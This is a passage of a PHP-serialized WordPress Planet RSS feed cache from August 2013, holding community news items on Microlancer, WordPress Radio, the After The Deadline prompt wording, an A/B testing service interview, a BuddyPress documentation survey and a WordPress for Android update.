interaction.</p>\n<h2>My Thoughts:</h2>\n<p>Cruising around the site looking over the various services being provided, I think Microlancer is a great idea. There seems to be a WordPress service for everything such as customizing the WordPress login screen to modifying an existing design into a responsive layout. However, it will only be as good as the work clients receive. Collis Ta’eed CEO of Envato has had an abundant amount of success with the likes of <a href=\"http://themeforest.net/\" title=\"http://themeforest.net/\">ThemeForest</a> and <a href=\"http://codecanyon.net/\" title=\"http://codecanyon.net/\">CodeCanyon</a>. Will Microlancer be another feather in his cap?</p>\n<p>If you have any questions, concerns, or general feedback for Microlancer, feel free to share it in the comments as representatives will be monitoring the comment section. </p>\n<img src=\"http://feeds.feedburner.com/~r/WordpressTavern/~4/W9xZwKqbsZU\" height=\"1\" width=\"1\" />\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 20 Aug 2013 16:00:32 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:6:\"Jeffro\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:28;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:53:\"WPTavern: WordPress Radio – WPR.FM – Get Involved\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"http://www.wptavern.com/?p=8543\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:97:\"http://feedproxy.google.com/~r/WordpressTavern/~3/FUVmCnHe2JM/wordpress-radio-wpr-fm-get-involved\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:5229:\"<p>Since my involvement in WordPress some 9 years ago, I followed the various audio and video productions pertaining to WordPress with great interest. As the technology of podcasting became more prevalent and easier to produce, there were many new productions about WordPress that came and went. Recently though, there have been a lot of really good shows that have been released on a regular basis that have provided a well-rounded set of listening choices. I believe the time has come to engage in a community based strategic alliance of these shows in the form of a 24/7 streaming audio station. <span id=\"more-8543\"></span></p>\n<p><strong>Thus, the formation of <a title=\"WordPress Radio\" href=\"http://wpr.fm\">WPR.FM</a>. WordPress Radio.</strong></p>\n<p><a href=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/WPRFM.jpg\" rel=\"thumbnail\"><img class=\"alignleft size-medium wp-image-8550\" alt=\"WordPress Radio\" src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/WPRFM.jpg?resize=300%2C168\" /></a>At first, I was unsure how to go about starting a streaming radio station. As a podcaster of 8+ years, streaming was always viewed as the &#8220;old&#8221; way of doing things. This was more commonly profiled due to lack of bandwidth or mobile portability. Nowadays with modern carrier technology able to stream anywhere we are, I feel the stars have aligned to create an audio channel that&#8217;s all ours. I approached my friend &#8220;Mr. Oil&#8221; who runs <a title=\"Fralnet\" href=\"http://fralnet.com\">FralNet</a>, a UK-based host provider and he liked the idea so much that he graciously offered to help get us up and running at no cost! He helped me with the setup, and in 10 minutes, we were streaming to the world!</p>\n<p>Now that the connections were made and the &#8220;on-air light&#8221; has been illuminated, it&#8217;s time to get the DJ&#8217;s in their proper rotation. Ideally we would like to see the following shows in the programming lineup: <a title=\"WordPress Weekly\" href=\"http://www.wptavern.com/wordpress-weekly\">WordPress Weekly</a> with Jeff Chandler, <a title=\"Wordpress Plugins A-Z Podcast\" href=\"http://wppluginsatoz.com\">WordPress Plugins A-Z</a> with John Overall and Marcus Couch, <a title=\"Your Website Engineer\" href=\"http://yourwebsiteengineer.com/\">Your Website Engineer</a> with Dustin Hartzler, <a title=\"The WordPress Chick\" href=\"http://thewpchick.com\">The WordPress Chick</a> with Kim Doyal, <a title=\"WP Water Cooler\" href=\"http://www.wpwatercooler.com/\">WP Watercooler</a> with Chris Lema, Jeff Tucker and cast, <a title=\"DradCast\" href=\"http://dradcast.com/\">DradCast</a> with Brad Williams and Dre Armeda, <a title=\"Matt Report\" href=\"http://mattreport.com/\">Matt Report</a> with Matt Medeiros, <a title=\"Weekly Web Tools\" href=\"http://weeklywebtools.com\">Weekly Web Tools</a> with Dave Jackson and others like <a title=\"WP Bacon\" href=\"http://wpbacon.com/\">WP Bacon</a>, <a title=\"Apply Filters\" href=\"http://applyfilters.fm/\">Apply Filters</a> and my own 3 minute news segment of The Daily Plugin. And that&#8217;s just who I listen to. There are probably tons more that I am missing.</p>\n<p>From an additional content perspective, how cool would it be to get Q&amp;A segments from WordCamps or Meetup Groups? How about a monthly &#8220;Industry Night&#8221; show where <strong>EVERYONE</strong> who produces a show all gets on a call and goes around the table talking WordPress? I think our community would get a lot of benefit from this. We also have the ability to stream live, so the possibilities are only limited by what content is available to us.</p>\n<h2>So we have a WordPress stream, now what?</h2>\n<p><strong>Site Design and Development</strong><br />\nThe next phase will be site builds and profiles for all the content, shows and presenters. This is where I am looking for the community for help. If this is a project that you believe has merit and you&#8217;d like to volunteer to help with the site build, please let me know.</p>\n<p><strong>App Creation</strong><br />\nIf you have experience in APP development for both Android and iOS and would like to work on the APP project with us, we welcome your participation there as well. Our goal is to create a free stream companion app that can be played on the go and have all the appropriate show information about both content and hosts.</p>\n<p><strong>Content Programming</strong><br />\nWe&#8217;re looking for help with programming the station as well. As we start receiving more submitted content from the WordPress Community, it will be important to keep a high standard with regards to the production elements. We&#8217;d like to make this a professional station with station IDs, show introductions/lead-ins and fresh WP news content every day. If you are an experienced audio editor, we would enjoy your participation as well.</p>\n<p>For everyone else, I invite you to tune in! The stream is already live and can be listened to on our splash page one any device, in any format.</p>\n<p>So what do you think of the concept? Let me know what ideas you have and what I may have missed.</p>\n<img src=\"http://feeds.feedburner.com/~r/WordpressTavern/~4/FUVmCnHe2JM\" height=\"1\" width=\"1\" />\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 20 Aug 2013 11:00:21 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"Marcus Couch\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:29;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:91:\"WordPress.tv: Анна Ладошкина: Адаптивный контент в WordPress\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21497\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:79:\"http://wordpress.tv/2013/08/20/anna-ladoshkina-responsive-content-in-wordpress/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:709:\"<div id=\"v-ywKdvX3M-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21497/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21497/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21497&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/20/anna-ladoshkina-responsive-content-in-wordpress/\"><img alt=\"Анна Ладошкина: Адаптивный контент в WordPress\" src=\"http://videos.videopress.com/ywKdvX3M/video-1a1cc42cfc_scruberthumbnail_1.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 20 Aug 2013 09:17:34 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"WordPress.tv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:30;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:61:\"WPTavern: Better Wording Needed For After The Deadline Prompt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"http://www.wptavern.com/?p=8562\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:113:\"http://feedproxy.google.com/~r/WordpressTavern/~3/axRljp_6i7M/better-wording-needed-for-after-the-deadline-prompt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:1814:\"<p>I&#8217;ve used the After The Deadline service for a long time. In fact, I think I&#8217;ve been using it ever since <a href=\"http://blog.afterthedeadline.com/2009/09/08/after-the-deadline-acquired/\" title=\"http://blog.afterthedeadline.com/2009/09/08/after-the-deadline-acquired/\">Automattic acquired it</a> in 2009. I proofread almost every post before it&#8217;s published. However, I&#8217;ve recently been struck by the wording of the AtD prompt once I schedule or publish a post. If you don&#8217;t use AtD, here is what it looks like.</p>\n<p><a href=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/ATDPrompt.jpg\" rel=\"thumbnail\"><img src=\"http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/08/ATDPrompt.jpg?resize=444%2C144\" alt=\"After The Deadline Prompt\" class=\"aligncenter size-full wp-image-8563\" /></a></p>\n<p>The wording in this prompt is all wrong. There have been at least a couple of instances where I have pressed OK thinking that the After The Deadline spell checker would Update my post with the necessary corrections or, allow me to actually update the errors in the post but instead, end up publishing the post. I think the most important wording that needs to be changed is the part that says &#8220;<em>Press OK To Update Your Post</em>&#8220;.  So I&#8217;m throwing this out to everyone else to not only see how many people have mistakenly pressed OK only to have their post be published or scheduled, but also ask what do you think the wording of this prompt should be changed to? While were at it, perhaps I&#8217;m the only one screwing things up around here and it&#8217;s not really a problem. After all, I believe the prompt has been this way for a long time.</p>\n<img src=\"http://feeds.feedburner.com/~r/WordpressTavern/~4/axRljp_6i7M\" height=\"1\" width=\"1\" />\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 20 Aug 2013 05:09:07 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:6:\"Jeffro\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:31;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:50:\"Lorelle on WP: Fall 2013 WordPress College Courses\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:37:\"http://lorelle.wordpress.com/?p=10115\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:76:\"http://lorelle.wordpress.com/2013/08/19/fall-2013-wordpress-college-courses/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:521:\"Registration is now open for the two WordPress college courses I teach at Clark College in Vancouver, Washington, and Portland Community College at Rock Creek in Beaverton, just west of Portland, Oregon. See Classes and Workshops for details. I&#8217;ve been working with Robert Hughes of the Computer Technology Department at Clark College for almost two [&#8230;]<img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=lorelle.wordpress.com&blog=72&post=10115&subd=lorelle&ref=&feed=1\" width=\"1\" height=\"1\" />\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 20 Aug 2013 03:40:28 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:17:\"Lorelle VanFossen\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:32;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:53:\"WPTavern: WP-ABTesting – Split Testing As A Service\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"http://www.wptavern.com/?p=8521\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:101:\"http://feedproxy.google.com/~r/WordpressTavern/~3/n96enm9M4zU/wp-abtesting-split-testing-as-a-service\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:8019:\"<p>There is a new up and coming AB Split testing service for WordPress called <a title=\"http://wp-abtesting.com/\" href=\"http://wp-abtesting.com/\">WP-ABTesting</a> that aims to help you optimize websites based on data, not opinions. Anytime I&#8217;ve heard of anyone wanting an A/B testing plugin, I&#8217;ve referred them to <a title=\"http://wordpress.org/plugins/shrimptest/\" href=\"http://wordpress.org/plugins/shrimptest/\">ShrimpTest</a> by Mitcho and Automattic however, it appears that development on that plugin has ceased as it hasn&#8217;t been updated in over 2 years. There is also a plugin <a title=\"http://poststat.us/a-b-testing-wordpress/\" href=\"http://poststat.us/a-b-testing-wordpress/\">mentioned by PostStat.us</a> called AB Press Optimizer. WP-ABTesting took some time out to answer a few questions I had about their service. <span id=\"more-8521\"></span></p>\n<p><a href=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/WPABTestingLogo.jpg\" rel=\"thumbnail\"><img class=\"aligncenter size-full wp-image-8531\" alt=\"WP AB Testing Logo\" src=\"http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/08/WPABTestingLogo.jpg?resize=435%2C75\" /></a></p>\n<p><strong>Tell us a bit about the WP AB Testing service.</strong></p>\n<p>We provide a <span>native</span> conversion optimization service for WordPress sites. Our aim is to increase your conversion rates (whatever your conversion goal is: more sign-ups, sales, visitors,&#8230;) in a systematic and scientific way. Opinions are great but only if they are used to start a data-driven experiment to (dis)prove them before deciding on whether to implement them or not. Nobody (not even you) is good enough to predict what will work for your site.</p>\n<p>At the core of our service you have an A/B testing (also known as split testing) mechanism. In its simplest form, A/B testing works by predefining two or more alternatives for a given post or page and the conversion goal you want to achieve with them, and then randomly showing those alternatives to your visitors to check which one works better, i.e. which one has a higher conversion rate. For instance, you may want to create two alternative versions of your landing page, show 50% of the time each alternative and monitor which one makes more of your visitors to sign-up for your mailing list. Once the results are statistically significant (don’t be scared, we will hide all the math from you, just keep reading!) you consolidate the winning alternative and start again with a new test.</p>\n<p><strong>What will WP AB Testing have that may not be found in plugins or other similar services?</strong></p>\n<p>Most tools focus on the classic AB testing: you define the tests and the tools report on the number of conversions of each alternative. We believe this is just the tip of the iceberg.</p>\n<p>Our service goes beyond this in two main directions:</p>\n<ul>\n<li> <strong>-</strong> Technical level. We don’t want to restrict people to test only posts / pages with a standard AB Testing algorithm. Since our service is a native WordPress solution we can offer fine-grained tests in which other WordPress components (like menus, widgets or the theme itself) can be tested as well. Then, the plug-in automatically evolves the site based on the results of those tests (obviously, only if you want the plug-in to do that for you). We’ll also complement A/B testing with other testing / optimization strategies like greedy algorithms and heat maps to offer a better picture of what’s going on in the site. Another example we have in our future roadmap is to enable the use of social metrics as conversion goals (i.e. an alternative post is better if it gets reshared more times) which we believe can be interesting for some sites.</li>\n</ul>\n<ul>\n<li> <strong>-</strong> Personalization level. Raw data on the percentage of improvement of an alternative may be enough for math savvy users but won’t do much for the rest. We believe in A/B testing for everybody which means that our service will help people to understand the meaning of the numbers they see to make an informed decision. And, more importantly, for those that want a more hassle-free experience, we will offer a personalized service where one of our company experts will suggest possible tests for your site (e.g. based on ours and the community experience on what has worked in other sites in the same domain) and even create and monitor the tests for you.</li>\n</ul>\n<p><strong>Why is AB Testing an important practice to conduct on websites from time to time?</strong></p>\n<p>First, I&#8217;d like to “challenge” the fact that AB Testing should be done “from time to time”. In our opinion, you should always be optimizing your site. Even if some optimizations may only bring a small improvement, they add up so the overall effect may well surprise you!.</p>\n<p>A second reason, which is not usually mentioned, is that you are going to learn a lot about your site and your business when doing A/B tests. Many  people regard A/B tests as mere small changes on the look and feel of your site (e.g. changing the color of a button here, increasing the size of an image there,&#8230;) but they can be much more powerful than that. I regard them as a learning tool for the business owner. Just thinking about possible tests gives you a perfect excuse to reconsider your business assumptions and offers a low-risk approach to test alternative approaches that otherwise you would have never dared to try. And if the test fails (meaning that your current version doesn’t need to be changed) you should even be happier. Failed tests are as useful as successful ones. They allow you to get rid of possible scenarios that now you know for sure wouldn’t work.</p>\n<p><a href=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/WPABTesting1.jpg\" rel=\"thumbnail\"><img src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/WPABTesting1.jpg?resize=500%2C171\" alt=\"WP ABTesting Service\" class=\"aligncenter size-large wp-image-8539\" /></a></p>\n<p><strong>Why the decision to turn WP AB Testing into a dedicated service instead of a fully featured plugin?</strong></p>\n<p>We try to combine the best of both worlds: a WP plug-in on the “client” side that the user can install to define the tests, see the graphics with the results, consolidate the winning alternative,&#8230; all without leaving the WordPress environment (meaning there is no need to learn a new tool) plus an external back-end that takes care of recording and processing all the relevant data to evaluate the performance of the alternatives tested.</p>\n<p>We believe this makes a lot of sense, again both at the technical and business level. On the technical side we lift all the processing load from your own server so that the tests do not slow down your site or interfere with your hosting provider limits. On the business side, because an ongoing relationship is needed to be able to advise you on your best testing strategy (by checking what has worked and what hasn’t worked so far for you), on new tests that we believe could be specially useful for you, etc. </p>\n<p>Don’t forget that A/B Testing is only the means to an end (optimize your conversions) and not the end itself. Our mission is to make sure you bring your site to the next level, not just to provide you with a tool to do all the work on your own.</p>\n<p><strong>How can people be notified and participate in the beta?</strong></p>\n<p>Just go to our <a href=\"http://wp-abtesting.com/\" title=\"http://wp-abtesting.com/\">website</a> and join our <a href=\"http://wp-abtesting.com/sign-up-for-our-free-beta/\" title=\"http://wp-abtesting.com/sign-up-for-our-free-beta/\">mailing list</a> in less than 30 seconds. We’ll immediately contact you to get to know you better (what are your needs, expectations, etc) and give you more details about the beta program.</p>\n<img src=\"http://feeds.feedburner.com/~r/WordpressTavern/~4/n96enm9M4zU\" height=\"1\" width=\"1\" />\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 19 Aug 2013 21:42:18 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:6:\"Jeffro\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:33;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:39:\"BuddyPress: The BuddyPress Codex Survey\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"http://buddypress.org/?p=170004\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:58:\"http://buddypress.org/2013/08/the-buddypress-codex-survey/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:1010:\"<p><a href=\"http://bpdevel.wordpress.com/2013/08/01/buddypress-1-9-dev-cycle-plans/\">As part of the work on the upcoming 1.9 release</a>, we&#8217;re putting effort into improving the BuddyPress documentation. There have been many great new features and improvements to BuddyPress over the last few releases and we need to bring the documentation up to date.</p>\n<p>We&#8217;ve launched the <a href=\"http://mercime.polldaddy.com/s/2013-buddypress-codex-survey\">Buddypress Codex Survey</a>. The survey is already providing useful feedback and it will be used to finalise the structure of the Codex and help put together a plan to improve the documentation over the next few releases.</p>\n<p>If you haven&#8217;t already taken the survey, we encourage you to add your feedback on what matters to you. We especially value any comments you care to leave on what pages you would find useful that might not exist at present.</p>\n<p>Thanks for helping BuddyPress grow; we really appreciate your responses! Thanks!</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 19 Aug 2013 19:13:43 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Hugo\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:34;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:73:\"WP Android: More Control over Mobile Posting: Excerpts and Picasa Support\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"http://android.wordpress.org/?p=890\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:101:\"http://android.wordpress.org/2013/08/19/more-control-over-mobile-posting-excerpts-and-picasa-support/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2295:\"<div id=\"attachment_893\" class=\"wp-caption alignright\"><a href=\"http://wpandroid.files.wordpress.com/2013/08/post-excerpt.png\"><img class=\"size-medium wp-image-893 \" alt=\"\" src=\"http://wpandroid.files.wordpress.com/2013/08/post-excerpt.png?w=200&h=353\" width=\"200\" height=\"353\" /></a><p class=\"wp-caption-text\">New excerpt field added to the post editor.</p></div>\n<p>The latest update to WordPress for Android includes some small yet very handy new features:</p>\n<ul>\n<li><strong>Post Excerpt:</strong> Just below the content area in the post editor you&#8217;ll now see a <a href=\"http://codex.wordpress.org/Excerpt\">post excerpt</a> field. Use it to add a post summary to your post. <em>(Note: Your theme will need to support post excerpts in order for this feature to work).</em></li>\n<li><strong>Picasa and Google+ Image Support:</strong> You can now add Picasa/Google+ images from the Android Gallery to posts or pages. Just tap the camera icon in the formatting toolbar then select an image to add it to the post. You&#8217;ll need to be online so that the image can be downloaded. You can also select multiple images in the gallery and share them to the app for quicker posting!</li>\n</ul>\n<p>We&#8217;ve also fixed up a few bugs in this release that improve the reliability of the app.</p>\n<p><span>What&#8217;s next?</span></p>\n<p>We are very close to having a beta release of the new Media Library management and Theme Selection features! Make sure to follow <a href=\"http://make.wordpress.org/mobile\" rel=\"nofollow\">http://make.wordpress.org/mobile</a> if you are interested in trying the beta.</p>\n<p>A big thanks to all of the contributors that made this release happen: <a href=\"http://wordpress.org/support/profile/aagam94\">aagam94</a>, <a href=\"http://wordpress.org/support/profile/mrroundhill\">mrroundhill</a>, <a href=\"http://wordpress.org/support/profile/daniloercoli\">daniloercoli</a> and <a 